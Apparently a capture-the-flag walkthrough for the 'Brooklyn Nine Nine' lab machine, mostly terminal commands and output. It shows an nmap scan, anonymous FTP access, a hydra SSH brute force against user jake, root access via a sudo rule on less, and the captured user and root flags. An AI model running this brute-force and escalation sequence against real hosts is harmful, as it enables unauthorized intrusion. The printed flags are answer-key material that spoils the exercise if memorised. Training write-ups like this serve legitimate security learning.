Brooklyn Nine Nine
10.66.137.125
PORT   STATE SERVICE REASON   VERSION
21/tcp open ftp   syn-ack ttl 64 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 0   0   119 May 17 2020 note_to_jake.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.66.131.39
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh   syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjh/Ae6uYU+t7FWTpPoux5Pjv9zvlOLEMlU36hmSn4vD2pYTeHDbzv7ww75UaUzPtsC8kM1EPbMQn1BUCvTNkIxQ34zmw5FatZWNR8/De/u/9fXzHh4MFg74S3K3uQzZaY7XBaDgmU6W0KEmLtKQPcueUomeYkqpL78o5+NjrGO3HwqAH2ED1Zadm5YFEvA0STasLrs7i+qn1G9o4ZHhWi8SJXIIJ6f6O1ea/VqyRJZG1KgbxQFU+zYlIddXpub93zdyMEpwaSIP2P7UTwYR26WI2cqF5r4PQfjAMGkG1mMsOi6v7xCrq/5RlF9ZVJ9nwq349ngG/KTkHtcOJnvXz
| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)

| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBItJ0sW5hVmiYQ8U3
mXta5DX2zOeGJ6WTop8FCSbN1UIeV/9jhAQIiVENAW41IfiBYNj8Bm+WcSDKLaE8PipqPI=
| 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIP2hV8Nm+RfR/f2KZ0Ub/OcSrqfY1g4qwsz16zhXIpqk
80/tcp open http   syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:90:18:FA:55:E3 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

80/tcp
Have you ever heard of steganography? - incita a que la imagen oculta algun tipo de mensaje.

root@ip-10-66-131-39:~# ftp 10.66.137.125
Connected to 10.66.137.125.
220 (vsFTPd 3.0.3)
Name (10.66.137.125:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--   1 0   0   119 May 17 2020 note_to_jake.txt
226 Directory send OK.
ftp> wget note_to_jake.txt
?Invalid command
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (89.1188 kB/s)
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--   1 0   0   119 May 17 2020 note_to_jake.txt
226 Directory send OK.
ftp> exit

221 Goodbye.
root@ip-10-66-131-39:~# ls
burp.json Downloads Pictures Scripts Tools
CTFBuilder Instructions Postman snap
Desktop note_to_jake.txt Rooms thinclient_drives
root@ip-10-66-131-39:~# cat note_to_jake.txt
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

root@ip-10-66-131-39:~#

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.66.137.125
root@ip-10-66-131-39:~# hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.66.137.125
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-13 08:46:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.66.137.125:22/
[22][ssh] host: 10.66.137.125 login: jake password: 987654321

root@ip-10-66-131-39:~# ssh jake@10.66.137.125
The authenticity of host '10.66.137.125 (10.66.137.125)' can't be established.
ECDSA key fingerprint is SHA256:Ofp49Dp4VBPb3v/vGM9jYfTRiwpg2v28x1uGhvoJ7K4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.66.137.125' (ECDSA) to the list of known hosts.
jake@10.66.137.125's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$ pwd
/home/jake
jake@brookly_nine_nine:~$ ls
jake@brookly_nine_nine:~$ cd ..
jake@brookly_nine_nine:/home$ ls
amy holt jake
jake@brookly_nine_nine:/home$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less

```
jake@brookly_nine_nine:~$ whoami
jake
jake@brookly_nine_nine:~$
jake@brookly_nine_nine:/home$ sudo less /etc/passwd
root@brookly_nine_nine:/home# whoami
root
root@brookly_nine_nine:/home# whoami
root
root@brookly_nine_nine:/home# ls
amy  holt  jake
root@brookly_nine_nine:/home# cd amy
root@brookly_nine_nine:/home/amy# ls
root@brookly_nine_nine:/home/amy# ls -a
. .. .bash_logout .bashrc .cache .gnupg .profile .ssh
root@brookly_nine_nine:/home/amy# cd ..
root@brookly_nine_nine:/home# cd holt
root@brookly_nine_nine:/home/holt# ls
nano.save  user.txt
root@brookly_nine_nine:/home/holt# cat user.txt
ee11cbb19052e40b07aac0ca060c23ee

root@brookly_nine_nine:/# ls
bin   etc          lib        mnt   run   sys  vmlinuz
boot  home         lib64      opt   sbin  tmp  vmlinuz.old
cdrom  initrd.img     lost+found  proc  snap  usr
dev   initrd.img.old  media      root  srv   var
root@brookly_nine_nine:/# cd root
root@brookly_nine_nine:/root# ls
root.txt
root@brookly_nine_nine:/root# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
```